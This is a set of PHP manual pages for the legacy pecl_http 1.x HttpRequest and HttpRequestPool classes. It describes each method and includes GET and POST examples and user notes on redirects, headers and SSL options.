(PECL pecl_http >= 0.15.0)

HttpRequest::clearHistory — Clear history

Description

public void HttpRequest::clearHistory ( void )

Clears all history messages.

Note:

History is only logged if recordHistory was enabled.

User Contributed Notes

There are no user contributed notes for this page.


HttpRequest constructor

  • « HttpRequest::clearHistory
  • HttpRequest::enableCookies »
  • PHP Manual
  • HttpRequest
  • HttpRequest constructor

HttpRequest::__construct

(PECL pecl_http >= 0.10.0)

HttpRequest::__construct — HttpRequest constructor

Description

public HttpRequest::__construct ([ string $url [, int $request_method = HTTP_METH_GET [, array $options ]]] )

Instantiate a new HttpRequest object.

Parameters

url

the target request url

request_method

the request method to use

options

an associative array with request options

Errors/Exceptions

Throws HttpException.

User Contributed Notes

RLK 15-Jul-2010 10:51
You can use custom methods here if you use the undocumented HttpRequest::methodRegister()

<?php
HttpRequest::methodRegister('foobar');
$r = new HttpRequest('http://www.php.net', HttpRequest::METH_FOOBAR);
?>
andychr17 at hotmail dot com 30-Jun-2008 04:34
I found that by not having a trailing slash (e.g. "http://www.google.com"), HttpRequest would tack on the URI of the script I was currently accessing.

An easy way to prevent this from happening is to include a trailing slash in the url. This way, "http://www.google.com" becomes "http://www.google.com/".


Enable cookies

  • « HttpRequest::__construct
  • HttpRequest::getContentType »
  • PHP Manual
  • HttpRequest
  • Enable cookies

HttpRequest::enableCookies

(PECL pecl_http >= 1.0.0)

HttpRequest::enableCookies — Enable cookies

Description

public bool HttpRequest::enableCookies ( void )

Enable automatic sending of received cookies.

Note:

Note that custom set cookies will be sent anyway.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Get content type

  • « HttpRequest::enableCookies
  • HttpRequest::getCookies »
  • PHP Manual
  • HttpRequest
  • Get content type

HttpRequest::getContentType

(PECL pecl_http >= 0.10.0)

HttpRequest::getContentType — Get content type

Description

public string HttpRequest::getContentType ( void )

Get the previously set content type.

Return Values

Returns the previously set content type as string.

User Contributed Notes

There are no user contributed notes for this page.


Get cookies

  • « HttpRequest::getContentType
  • HttpRequest::getHeaders »
  • PHP Manual
  • HttpRequest
  • Get cookies

HttpRequest::getCookies

(PECL pecl_http >= 0.10.0)

HttpRequest::getCookies — Get cookies

Description

public array HttpRequest::getCookies ( void )

Get previously set cookies.

Return Values

Returns an associative array containing any previously set cookies.

User Contributed Notes

There are no user contributed notes for this page.


Get headers

  • « HttpRequest::getCookies
  • HttpRequest::getHistory »
  • PHP Manual
  • HttpRequest
  • Get headers

HttpRequest::getHeaders

(PECL pecl_http >= 0.10.0)

HttpRequest::getHeaders — Get headers

Description

public array HttpRequest::getHeaders ( void )

Get previously set request headers.

Return Values

Returns an associative array containing all currently set headers.

User Contributed Notes

There are no user contributed notes for this page.


Get history

  • « HttpRequest::getHeaders
  • HttpRequest::getMethod »
  • PHP Manual
  • HttpRequest
  • Get history

HttpRequest::getHistory

(PECL pecl_http >= 0.15.0)

HttpRequest::getHistory — Get history

Description

public HttpMessage HttpRequest::getHistory ( void )

Get all sent requests and received responses as an HttpMessage object.

If you want to record history, set the instance variable HttpRequest::recordHistory to TRUE.

The returned object references the last received response, use HttpMessage::getParentMessage() to access the data of previously sent requests and received responses.

Return Values

Returns an HttpMessage object representing the complete request/response history.

Errors/Exceptions

Throws HttpRuntimeException.

User Contributed Notes

There are no user contributed notes for this page.


Get method

  • « HttpRequest::getHistory
  • HttpRequest::getOptions »
  • PHP Manual
  • HttpRequest
  • Get method

HttpRequest::getMethod

(PECL pecl_http >= 0.10.0)

HttpRequest::getMethod — Get method

Description

public int HttpRequest::getMethod ( void )

Get the previously set request method.

Return Values

Returns the currently set request method.

User Contributed Notes

There are no user contributed notes for this page.


Get options

  • « HttpRequest::getMethod
  • HttpRequest::getPostFields »
  • PHP Manual
  • HttpRequest
  • Get options

HttpRequest::getOptions

(PECL pecl_http >= 0.10.0)

HttpRequest::getOptions — Get options

Description

public array HttpRequest::getOptions ( void )

Get currently set options.

Return Values

Returns an associative array containing currently set options.

User Contributed Notes

There are no user contributed notes for this page.


Get post fields

  • « HttpRequest::getOptions
  • HttpRequest::getPostFiles »
  • PHP Manual
  • HttpRequest
  • Get post fields

HttpRequest::getPostFields

(PECL pecl_http >= 0.10.0)

HttpRequest::getPostFields — Get post fields

Description

public array HttpRequest::getPostFields ( void )

Get previously set POST data.

Parameters

Return Values

Returns the currently set post fields as associative array.

User Contributed Notes

There are no user contributed notes for this page.


Get post files

  • « HttpRequest::getPostFields
  • HttpRequest::getPutData »
  • PHP Manual
  • HttpRequest
  • Get post files

HttpRequest::getPostFiles

(PECL pecl_http >= 0.10.0)

HttpRequest::getPostFiles — Get post files

Description

public array HttpRequest::getPostFiles ( void )

Get all previously added POST files.

Return Values

Returns an array containing currently set post files.

User Contributed Notes

There are no user contributed notes for this page.


Get put data

  • « HttpRequest::getPostFiles
  • HttpRequest::getPutFile »
  • PHP Manual
  • HttpRequest
  • Get put data

HttpRequest::getPutData

(PECL pecl_http >= 0.25.0)

HttpRequest::getPutData — Get put data

Description

public string HttpRequest::getPutData ( void )

Get previously set PUT data.

Return Values

Returns a string containing the currently set PUT data.

User Contributed Notes

There are no user contributed notes for this page.


Get put file

  • « HttpRequest::getPutData
  • HttpRequest::getQueryData »
  • PHP Manual
  • HttpRequest
  • Get put file

HttpRequest::getPutFile

(PECL pecl_http >= 0.10.0)

HttpRequest::getPutFile — Get put file

Description

public string HttpRequest::getPutFile ( void )

Get previously set put file.

Return Values

Returns a string containing the path to the currently set put file.

User Contributed Notes

There are no user contributed notes for this page.


Get query data

  • « HttpRequest::getPutFile
  • HttpRequest::getRawPostData »
  • PHP Manual
  • HttpRequest
  • Get query data

HttpRequest::getQueryData

(PECL pecl_http >= 0.10.0)

HttpRequest::getQueryData — Get query data

Description

public string HttpRequest::getQueryData ( void )

Get the current query data in form of an urlencoded query string.

Return Values

Returns a string containing the urlencoded query.

User Contributed Notes

There are no user contributed notes for this page.


Get raw post data

  • « HttpRequest::getQueryData
  • HttpRequest::getRawRequestMessage »
  • PHP Manual
  • HttpRequest
  • Get raw post data

HttpRequest::getRawPostData

(PECL pecl_http 0.14.0-1.4.1)

HttpRequest::getRawPostData — Get raw post data

Description

public string HttpRequest::getRawPostData ( void )

Get previously set raw post data.

Parameters

Return Values

Returns a string containing the currently set raw post data.

User Contributed Notes

There are no user contributed notes for this page.


Get raw request message

  • « HttpRequest::getRawPostData
  • HttpRequest::getRawResponseMessage »
  • PHP Manual
  • HttpRequest
  • Get raw request message

HttpRequest::getRawRequestMessage

(PECL pecl_http >= 0.21.0)

HttpRequest::getRawRequestMessage — Get raw request message

Description

public string HttpRequest::getRawRequestMessage ( void )

Get sent HTTP message.

Parameters

Return Values

Returns an HttpMessage in a form of a string.

User Contributed Notes

There are no user contributed notes for this page.


Get raw response message

  • « HttpRequest::getRawRequestMessage
  • HttpRequest::getRequestMessage »
  • PHP Manual
  • HttpRequest
  • Get raw response message

HttpRequest::getRawResponseMessage

(PECL pecl_http >= 0.21.0)

HttpRequest::getRawResponseMessage — Get raw response message

Description

public string HttpRequest::getRawResponseMessage ( void )

Get the entire HTTP response.

Parameters

Return Values

Returns the complete web server response, including the headers in a form of a string.

User Contributed Notes

There are no user contributed notes for this page.


Get request message

  • « HttpRequest::getRawResponseMessage
  • HttpRequest::getResponseBody »
  • PHP Manual
  • HttpRequest
  • Get request message

HttpRequest::getRequestMessage

(PECL pecl_http >= 0.11.0)

HttpRequest::getRequestMessage — Get request message

Description

public HttpMessage HttpRequest::getRequestMessage ( void )

Get sent HTTP message.

If redirects were allowed and several responses were received, the data references the last received response. Use HttpMessage::getParentMessage() to access the data of previously sent requests within this request cycle.

Note:

Note that the internal request message is immutable, that means that the request message received through HttpRequest::getRequestMessage() will always look the same for the same request, regardless of any changes you may have made to the returned object.

Return Values

Returns an HttpMessage object representing the sent request.

Errors/Exceptions

Throws HttpMalformedHeadersException, HttpEncodingException.

User Contributed Notes

There are no user contributed notes for this page.


Get response body

  • « HttpRequest::getRequestMessage
  • HttpRequest::getResponseCode »
  • PHP Manual
  • HttpRequest
  • Get response body

HttpRequest::getResponseBody

(PECL pecl_http >= 0.10.0)

HttpRequest::getResponseBody — Get response body

Description

public string HttpRequest::getResponseBody ( void )

Get the response body after the request has been sent.

If redirects were allowed and several responses were received, the data references the last received response.

Parameters

Return Values

Returns a string containing the response body.

User Contributed Notes

There are no user contributed notes for this page.


Get response code

  • « HttpRequest::getResponseBody
  • HttpRequest::getResponseCookies »
  • PHP Manual
  • HttpRequest
  • Get response code

HttpRequest::getResponseCode

(PECL pecl_http >= 0.10.0)

HttpRequest::getResponseCode — Get response code

Description

public int HttpRequest::getResponseCode ( void )

Get the response code after the request has been sent.

If redirects were allowed and several responses were received, the data references the last received response.

Return Values

Returns an int representing the response code.

User Contributed Notes

There are no user contributed notes for this page.


Get response cookie(s)

  • « HttpRequest::getResponseCode
  • HttpRequest::getResponseData »
  • PHP Manual
  • HttpRequest
  • Get response cookie(s)

HttpRequest::getResponseCookies

(PECL pecl_http >= 0.23.0)

HttpRequest::getResponseCookies — Get response cookie(s)

Description

public array HttpRequest::getResponseCookies ([ int $flags = 0 [, array $allowed_extras ]] )

Get response cookie(s) after the request has been sent.

If redirects were allowed and several responses were received, the data references the last received response.

Parameters

flags

http_parse_cookie() flags

allowed_extras

allowed keys treated as extra information instead of cookie names

Return Values

Returns an array of stdClass objects like http_parse_cookie() would return.

User Contributed Notes

There are no user contributed notes for this page.


Get response data

  • « HttpRequest::getResponseCookies
  • HttpRequest::getResponseHeader »
  • PHP Manual
  • HttpRequest
  • Get response data

HttpRequest::getResponseData

(PECL pecl_http >= 0.10.0)

HttpRequest::getResponseData — Get response data

Description

public array HttpRequest::getResponseData ( void )

* Get all response data after the request has been sent.

If redirects were allowed and several responses were received, the data references the last received response.

Return Values

Returns an associative array with the key "headers" containing an associative array holding all response headers, as well as the key "body" containing a string with the response body.

User Contributed Notes

There are no user contributed notes for this page.


Get response header(s)

  • « HttpRequest::getResponseData
  • HttpRequest::getResponseInfo »
  • PHP Manual
  • HttpRequest
  • Get response header(s)

HttpRequest::getResponseHeader

(PECL pecl_http >= 0.10.0)

HttpRequest::getResponseHeader — Get response header(s)

Description

public mixed HttpRequest::getResponseHeader ([ string $name ] )

Get response header(s) after the request has been sent.

If redirects were allowed and several responses were received, the data references the last received response.

Parameters

name

header to read; if empty, all response headers will be returned

Return Values

Returns either a string with the value of the header matching name if requested, FALSE on failure, or an associative array containing all response headers.

User Contributed Notes

There are no user contributed notes for this page.


Get response info

  • « HttpRequest::getResponseHeader
  • HttpRequest::getResponseMessage »
  • PHP Manual
  • HttpRequest
  • Get response info

HttpRequest::getResponseInfo

(PECL pecl_http >= 0.10.0)

HttpRequest::getResponseInfo — Get response info

Description

public mixed HttpRequest::getResponseInfo ([ string $name ] )

Get response info after the request has been sent.

See http_get() for a full list of returned info.

If redirects were allowed and several responses were received, the data references the last received response.

Parameters

name

the info to read; if empty or omitted, an associative array containing all available info will be returned

Return Values

Returns either a scalar containing the value of the info matching name if requested, FALSE on failure, or an associative array containing all available info.

User Contributed Notes

There are no user contributed notes for this page.


Get response message

  • « HttpRequest::getResponseInfo
  • HttpRequest::getResponseStatus »
  • PHP Manual
  • HttpRequest
  • Get response message

HttpRequest::getResponseMessage

(PECL pecl_http >= 0.10.0)

HttpRequest::getResponseMessage — Get response message

Description

public HttpMessage HttpRequest::getResponseMessage ( void )

Get the full response as HttpMessage object after the request has been sent.

If redirects were allowed and several responses were received, the data references the last received response. Use HttpMessage::getParentMessage() to access the data of previously received responses within this request cycle.

Return Values

Returns an HttpMessage object of the response.

Errors/Exceptions

Throws HttpException, HttpRuntimeException.

User Contributed Notes

There are no user contributed notes for this page.


Get response status

  • « HttpRequest::getResponseMessage
  • HttpRequest::getSslOptions »
  • PHP Manual
  • HttpRequest
  • Get response status

HttpRequest::getResponseStatus

(PECL pecl_http >= 0.23.0)

HttpRequest::getResponseStatus — Get response status

Description

public string HttpRequest::getResponseStatus ( void )

Get the response status (i.e. the string after the response code) after the message has been sent.

Return Values

Returns a string containing the response status text.

User Contributed Notes

There are no user contributed notes for this page.


Get ssl options

  • « HttpRequest::getResponseStatus
  • HttpRequest::getUrl »
  • PHP Manual
  • HttpRequest
  • Get ssl options

HttpRequest::getSslOptions

(PECL pecl_http >= 0.10.0)

HttpRequest::getSslOptions — Get ssl options

Description

public array HttpRequest::getSslOptions ( void )

Get previously set SSL options.

Return Values

Returns an associative array containing any previously set SSL options.

User Contributed Notes

There are no user contributed notes for this page.


Get url

  • « HttpRequest::getSslOptions
  • HttpRequest::resetCookies »
  • PHP Manual
  • HttpRequest
  • Get url

HttpRequest::getUrl

(PECL pecl_http >= 0.10.0)

HttpRequest::getUrl — Get url

Description

public string HttpRequest::getUrl ( void )

Get the previously set request URL.

Return Values

Returns the currently set request url as string.

User Contributed Notes

There are no user contributed notes for this page.


Reset cookies

  • « HttpRequest::getUrl
  • HttpRequest::send »
  • PHP Manual
  • HttpRequest
  • Reset cookies

HttpRequest::resetCookies

(PECL pecl_http >= 1.0.0)

HttpRequest::resetCookies — Reset cookies

Description

public bool HttpRequest::resetCookies ([ bool $session_only = false ] )

Reset all automatically received/sent cookies.

Note:

Note that custom set cookies are not affected.

Parameters

session_only

whether only session cookies should be reset (needs libcurl >= v7.15.4, else libcurl >= v7.14.1)

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Send request

  • « HttpRequest::resetCookies
  • HttpRequest::setBody »
  • PHP Manual
  • HttpRequest
  • Send request

HttpRequest::send

(PECL pecl_http >= 0.10.0)

HttpRequest::send — Send request

Description

public HttpMessage HttpRequest::send ( void )

Send the HTTP request.

Note:

While an exception may be thrown, the transfer could have succeeded at least partially, so you might want to check the return values of various HttpRequest::getResponse*() methods.

Return Values

Returns the received response as HttpMessage object.

Errors/Exceptions

Throws HttpRuntimeException, HttpRequestException, HttpMalformedHeaderException, HttpEncodingException.

Examples

Example #1 GET example

<?php
$r = new HttpRequest('http://example.com/feed.rss', HttpRequest::METH_GET);
$r->setOptions(array('lastmodified' => filemtime('local.rss')));
$r->addQueryData(array('category' => 3));
try {
    $r->send();
    if ($r->getResponseCode() == 200) {
        file_put_contents('local.rss', $r->getResponseBody());
    }
} catch (HttpException $ex) {
    echo $ex;
}
?>

Example #2 POST example

<?php
$r = new HttpRequest('http://example.com/form.php', HttpRequest::METH_POST);
$r->setOptions(array('cookies' => array('lang' => 'de')));
$r->addPostFields(array('user' => 'mike', 'pass' => 's3c|r3t'));
$r->addPostFile('image', 'profile.jpg', 'image/jpeg');
try {
    echo $r->send()->getBody();
} catch (HttpException $ex) {
    echo $ex;
}
?>

User Contributed Notes

cybd at bigmir dot net 26-Jul-2013 05:29
There is a typo in Lymber's comment.
Instead of
$httpRequest_OBJ->setContentType = 'Content-Type: text/xml';
use
$httpRequest_OBJ->setContentType('text/xml');
elio dot cuevas at ge dot com 23-Jun-2010 07:48
The HttpRequest class does support redirects, but it's disabled by default. To enable redirect do something like this:
<?php
// Set number of redirects to a reasonable number.
$r->setOptions(array('redirect' => 10));
?>
Lymber 19-Jan-2010 06:22
Example how to use HttpRequest to post data and receive the response:
<?php
//set up variables
$theData = '<?xml version="1.0"?>
<note>
    <to>php.net</to>
    <from>lymber</from>
    <heading>php http request</heading>
    <body>i love php!</body>
</note>';
$url = 'http://www.example.com';
$credentials = 'user@example.com:password';
$header_array = array('Expect' => '',
                'From' => 'User A');
$ssl_array = array('version' => SSL_VERSION_SSLv3);
$options = array(headers => $header_array,
                httpauth => $credentials,
                httpauthtype => HTTP_AUTH_BASIC,
                protocol => HTTP_VERSION_1_1,
                ssl => $ssl_array);

//create the httprequest object
$httpRequest_OBJ = new httpRequest($url, HTTP_METH_POST, $options);
//add the content type
$httpRequest_OBJ->setContentType = 'Content-Type: text/xml';
//add the raw post data
$httpRequest_OBJ->setRawPostData ($theData);
//send the http request
$result = $httpRequest_OBJ->send();
//print out the result
echo "<pre>"; print_r($result); echo "</pre>";
?>
mjs at beebo dot org 02-Apr-2009 01:27
Note that send() does not process redirects, and there doesn't appear to any way to get this to happen automatically.  If you need to follow redirects, use something like the following code:

<?php
$request = new HttpRequest($url, HTTP_METH_GET);
do {
    $response = $request->send();
    if ($response->getResponseCode() != 301 && $response->getResponseCode() != 302) break;
    $request->setUrl($response->getHeader("Location"));
} while (1);
?>


Set request body to send, overwriting previously set request body.

  • « HttpRequest::send
  • HttpRequest::setContentType »
  • PHP Manual
  • HttpRequest
  • Set request body to send, overwriting previously set request body.

HttpRequest::setBody

(PECL pecl_http >= 1.5.0)

HttpRequest::setBody — Set request body to send, overwriting previously set request body.

Description

bool HttpRequest::setBody ([ string $request_body_data ] )

Set request body to send, overwriting previously set request body.

Parameters

request_body_data

The request body to overwrite the existing request body with.

Caution

Ensure that a Content-Type is specified in the request body.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Caution

This method was previously available as HttpRequest::setRawPostData().

See Also

  • HttpRequest::setRawPostData() - Set raw post data

User Contributed Notes

There are no user contributed notes for this page.


Set content type

  • « HttpRequest::setBody
  • HttpRequest::setCookies »
  • PHP Manual
  • HttpRequest
  • Set content type

HttpRequest::setContentType

(PECL pecl_http >= 0.10.0)

HttpRequest::setContentType — Set content type

Description

public bool HttpRequest::setContentType ( string $content_type )

Set the content type the post request should have.

Parameters

content_type

the content type of the request (primary/secondary)

Return Values

Returns TRUE on success, or FALSE if the content type does not seem to contain a primary and a secondary part.

User Contributed Notes

There are no user contributed notes for this page.


Set cookies

  • « HttpRequest::setContentType
  • HttpRequest::setHeaders »
  • PHP Manual
  • HttpRequest
  • Set cookies

HttpRequest::setCookies

(PECL pecl_http >= 0.12.0)

HttpRequest::setCookies — Set cookies

Description

public bool HttpRequest::setCookies ([ array $cookies ] )

Set custom cookies.

Parameters

cookies

an associative array as parameter containing cookie name/value pairs; if empty or omitted, all previously set cookies will be unset

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Set headers

  • « HttpRequest::setCookies
  • HttpRequest::setMethod »
  • PHP Manual
  • HttpRequest
  • Set headers

HttpRequest::setHeaders

(PECL pecl_http >= 0.12.0)

HttpRequest::setHeaders — Set headers

Description

public bool HttpRequest::setHeaders ([ array $headers ] )

Set request header name/value pairs.

Parameters

headers

an associative array as parameter containing header name/value pairs; if empty or omitted, all previously set headers will be unset

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

quickshiftin at gmail dot com 14-Jun-2008 08:29
note: you should not put a colon in the keys of the arrays you pass this method, it will do that for you.  and if you do put colons in the array keys, the resultant headers will have 2 colons beside one another.

so for example,
<?php
$httpRequest->setHeaders(array('User-Agent' => 'Mozilla/1.22 (compatible; MSIE 5.01; PalmOS 3.0) EudoraWeb 2'));
?>

will result in
User-Agent: Mozilla/1.22 (compatible; MSIE 5.01; PalmOS 3.0) EudoraWeb 2

<?php
$httpRequest->setHeaders(array('User-Agent:' => 'Mozilla/1.22 (compatible; MSIE 5.01; PalmOS 3.0) EudoraWeb 2'));
?>

will result in
User-Agent:: Mozilla/1.22 (compatible; MSIE 5.01; PalmOS 3.0) EudoraWeb 2


Set method

  • « HttpRequest::setHeaders
  • HttpRequest::setOptions »
  • PHP Manual
  • HttpRequest
  • Set method

HttpRequest::setMethod

(PECL pecl_http >= 0.10.0)

HttpRequest::setMethod — Set method

Description

public bool HttpRequest::setMethod ( int $request_method )

Set the request method.

Parameters

request_method

the request method to use

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

Andy Christianson 29-Jul-2008 03:15
Possible values (pulled from http://us.php.net/manual/en/http.constants.php):

HTTP_METH_GET (integer)
HTTP_METH_HEAD (integer)
HTTP_METH_POST (integer)
HTTP_METH_PUT (integer)
HTTP_METH_DELETE (integer)
HTTP_METH_OPTIONS (integer)
HTTP_METH_TRACE (integer)
HTTP_METH_CONNECT (integer)
HTTP_METH_PROPFIND (integer)
HTTP_METH_PROPPATCH (integer)
HTTP_METH_MKCOL (integer)
HTTP_METH_COPY (integer)
HTTP_METH_MOVE (integer)
HTTP_METH_LOCK (integer)
HTTP_METH_UNLOCK (integer)
HTTP_METH_VERSION_CONTROL (integer)
HTTP_METH_REPORT (integer)
HTTP_METH_CHECKOUT (integer)
HTTP_METH_CHECKIN (integer)
HTTP_METH_UNCHECKOUT (integer)
HTTP_METH_MKWORKSPACE (integer)
HTTP_METH_UPDATE (integer)
HTTP_METH_LABEL (integer)
HTTP_METH_MERGE (integer)
HTTP_METH_BASELINE_CONTROL (integer)
HTTP_METH_MKACTIVITY (integer)
HTTP_METH_ACL (integer)


Set options

  • « HttpRequest::setMethod
  • HttpRequest::setPostFields »
  • PHP Manual
  • HttpRequest
  • Set options

HttpRequest::setOptions

(PECL pecl_http >= 0.10.0)

HttpRequest::setOptions — Set options

Description

public bool HttpRequest::setOptions ([ array $options ] )

Set the request options to use.

See the full list of request options.

Parameters

options

an associative array, which values will overwrite the currently set request options; if empty or omitted, the options of the HttpRequest object will be reset

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

mightye at gmail dot com 07-Sep-2007 07:59
Note that options cannot be changed on a request once it is added to a HttpRequestPool.  The pool reads the options and uses the values as they were set at the time it was added.

This means you can't do things like dynamically change the timeout each time you receive some data from the stream (essentially creating an idle timeout when doing things like calling remote long-running jobs).  However you can use low_speed_limit and low_speed_time options to simulate this behavior.


Set post fields

  • « HttpRequest::setOptions
  • HttpRequest::setPostFiles »
  • PHP Manual
  • HttpRequest
  • Set post fields

HttpRequest::setPostFields

(PECL pecl_http >= 0.10.0)

HttpRequest::setPostFields — Set post fields

Description

public bool HttpRequest::setPostFields ( array $post_data )

Set the POST data entries, overwriting previously set POST data.

Affects only POST and custom requests.

Parameters

post_data

an associative array containing the post fields; if empty, the post data will be unset

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Set post files

  • « HttpRequest::setPostFields
  • HttpRequest::setPutData »
  • PHP Manual
  • HttpRequest
  • Set post files

HttpRequest::setPostFiles

(PECL pecl_http >= 0.10.0)

HttpRequest::setPostFiles — Set post files

Description

public bool HttpRequest::setPostFiles ( array $post_files )

Set files to post, overwriting previously set post files.

Affects only POST and requests. Cannot be used with raw post data.

Parameters

post_files

an array containing the files to post; if empty, the post files will be unset

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Set put data

  • « HttpRequest::setPostFiles
  • HttpRequest::setPutFile »
  • PHP Manual
  • HttpRequest
  • Set put data

HttpRequest::setPutData

(PECL pecl_http >= 0.25.0)

HttpRequest::setPutData — Set put data

Description

public bool HttpRequest::setPutData ([ string $put_data ] )

Set PUT data to send, overwriting previously set PUT data.

Affects only PUT requests.

Only either PUT data or PUT file can be used for each request. PUT data has higher precedence and will be used even if a PUT file is set.

Parameters

put_data

the data to upload

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Set put file

  • « HttpRequest::setPutData
  • HttpRequest::setQueryData »
  • PHP Manual
  • HttpRequest
  • Set put file

HttpRequest::setPutFile

(PECL pecl_http >= 0.10.0)

HttpRequest::setPutFile — Set put file

Description

public bool HttpRequest::setPutFile ([ string $file = "" ] )

Set file to put. Affects only PUT requests.

Parameters

file

the path to the file to send; if empty or omitted the put file will be unset

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Set query data

  • « HttpRequest::setPutFile
  • HttpRequest::setRawPostData »
  • PHP Manual
  • HttpRequest
  • Set query data

HttpRequest::setQueryData

(PECL pecl_http >= 0.10.0)

HttpRequest::setQueryData — Set query data

Description

public bool HttpRequest::setQueryData ( mixed $query_data )

Set the URL query parameters to use, overwriting previously set query parameters.

Affects any request types.

Parameters

query_data

a string or associative array parameter containing the pre-encoded query string or to be encoded query fields; if empty, the query data will be unset

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Set raw post data

  • « HttpRequest::setQueryData
  • HttpRequest::setSslOptions »
  • PHP Manual
  • HttpRequest
  • Set raw post data

HttpRequest::setRawPostData

(PECL pecl_http 0.14.0-1.4.1)

HttpRequest::setRawPostData — Set raw post data

Description

public bool HttpRequest::setRawPostData ([ string $raw_post_data ] )

Set raw post data to send, overwriting previously set raw post data. Don't forget to specify a content type. Affects only POST and custom requests.

Only either post fields or raw post data can be used for each request. Raw post data has higher precedence and will be used even if post fields are set.

Warning

This function alias is DEPRECATED and only exists for backwards compatibility reasons. The use of this function is not recommended, as it may be removed from PHP in the future. HttpRequest::setBody() should be used instead.

Parameters

raw_post_data

raw post data

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • HttpRequest::setBody() - Set request body to send, overwriting previously set request body.

User Contributed Notes

matteo dot giaccone at acmos dot net 05-Nov-2009 01:31
use setBody instead to have the not deprecated version.


Set ssl options

  • « HttpRequest::setRawPostData
  • HttpRequest::setUrl »
  • PHP Manual
  • HttpRequest
  • Set ssl options

HttpRequest::setSslOptions

(PECL pecl_http >= 0.10.0)

HttpRequest::setSslOptions — Set ssl options

Description

public bool HttpRequest::setSslOptions ([ array $options ] )

Set SSL options.

Parameters

options

an associative array containing any SSL specific options; if empty or omitted, the SSL options will be reset

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

Andy Christianson 24-Jul-2008 07:12
This page does not describe the possible keys for the input array.

Here are the SSL option keys from the cURL source code as of 2008-07-24:

CERT: String that holds file name of the SSL certificate to use
CERTTYPE: String that holds file type of the SSL certificate to use
KEY: String that holds file name of the SSL certificate to use
KEYTYPE: String that holds file type of the SSL certificate to use
PASSWD: String that holds the SSL or SSH private key password.
ENGINE: String that holds the SSL crypto engine.
ENGINE_DEFAULT: flag to set engine as default.


Set URL

  • « HttpRequest::setSslOptions
  • HttpRequestPool »
  • PHP Manual
  • HttpRequest
  • Set URL

HttpRequest::setUrl

(PECL pecl_http >= 0.10.0)

HttpRequest::setUrl — Set URL

Description

public bool HttpRequest::setUrl ( string $url )

Set the request URL.

Parameters

url

the request url

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


The HttpRequestPool class

(PECL pecl_http >= 0.10.0)

Class synopsis

HttpRequestPool implements Iterator , Countable {
public bool attach ( HttpRequest $request )
public __construct ([ HttpRequest $request [, HttpRequest $... ]] )
void __destruct ( void )
bool detach ( HttpRequest $request )
array getAttachedRequests ( void )
array getFinishedRequests ( void )
void reset ( void )
bool send ( void )
protected bool socketPerform ( void )
protected bool socketSelect ([ float $timeout = 0 ] )
}

Class Members

Properties

The HttpRequestPool class does not have any properties.

Predefined Constants

The HttpRequestPool class does not have any constants.

Table of Contents

  • HttpRequestPool::attach — Attach HttpRequest
  • HttpRequestPool::__construct — HttpRequestPool constructor
  • HttpRequestPool::__destruct — HttpRequestPool destructor
  • HttpRequestPool::detach — Detach HttpRequest
  • HttpRequestPool::getAttachedRequests — Get attached requests
  • HttpRequestPool::getFinishedRequests — Get finished requests
  • HttpRequestPool::reset — Reset request pool
  • HttpRequestPool::send — Send all requests
  • HttpRequestPool::socketPerform — Perform socket actions
  • HttpRequestPool::socketSelect — Perform socket select

User Contributed Notes

marcus at synchromedia dot co dot uk 07-Jul-2014 06:09
This class no longer exists. The http extension was competely rewritten for version 2.0 and is entirely incompatible with version 1.x. I'm sure it's much improved, but the documentation is useless and offers no help at all upgrading - or more to the point, in rewriting all your code, since almost everything has changed. This is an irresponsible and inadvisable change for whoever allowed this to be released under the same name.


Attach HttpRequest

  • « HttpRequestPool
  • HttpRequestPool::__construct »
  • PHP Manual
  • HttpRequestPool
  • Attach HttpRequest

HttpRequestPool::attach

(PECL pecl_http >= 0.10.0)

HttpRequestPool::attach — Attach HttpRequest

Description

public bool HttpRequestPool::attach ( HttpRequest $request )

Attach an HttpRequest object to this HttpRequestPool.

Warning

Set all options prior attaching!

Parameters

request

an HttpRequest object not already attached to any HttpRequestPool object

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws HttpInvalidParamException, HttpRequestException, HttpRequestPoolException, HttpEncodingException.

User Contributed Notes

There are no user contributed notes for this page.


HttpRequestPool constructor

  • « HttpRequestPool::attach
  • HttpRequestPool::__destruct »
  • PHP Manual
  • HttpRequestPool
  • HttpRequestPool constructor

HttpRequestPool::__construct

(PECL pecl_http >= 0.10.0)

HttpRequestPool::__construct — HttpRequestPool constructor

Description

public HttpRequestPool::__construct ([ HttpRequest $request [, HttpRequest $... ]] )

Instantiate a new HttpRequestPool object. An HttpRequestPool is able to send several HttpRequests in parallel.

Accepts virtually infinite optional parameters each referencing an HttpRequest object.

Parameters

request

HttpRequest object to attach

...

Errors/Exceptions

Throws HttpRequestPoolException (HttpRequestException, HttpInvalidParamException).

Examples

Example #1 A HttpRequestPool example

<?php
try {
    $pool = new HttpRequestPool(
        new HttpRequest('http://www.google.com/', HttpRequest::METH_HEAD),
        new HttpRequest('http://www.php.net/', HttpRequest::METH_HEAD)
    );
    $pool->send();
    foreach($pool as $request) {
        printf("%s is %s (%d)\n",
            $request->getUrl(),
            $request->getResponseCode() ? 'alive' : 'not alive',
            $request->getResponseCode()
        );
    }
} catch (HttpException $e) {
    echo $e;
}
?>

User Contributed Notes

There are no user contributed notes for this page.


HttpRequestPool destructor

  • « HttpRequestPool::__construct
  • HttpRequestPool::detach »
  • PHP Manual
  • HttpRequestPool
  • HttpRequestPool destructor

HttpRequestPool::__destruct

(PECL pecl_http >= 0.10.0)

HttpRequestPool::__destruct — HttpRequestPool destructor

Description

void HttpRequestPool::__destruct ( void )

Clean up HttpRequestPool object.

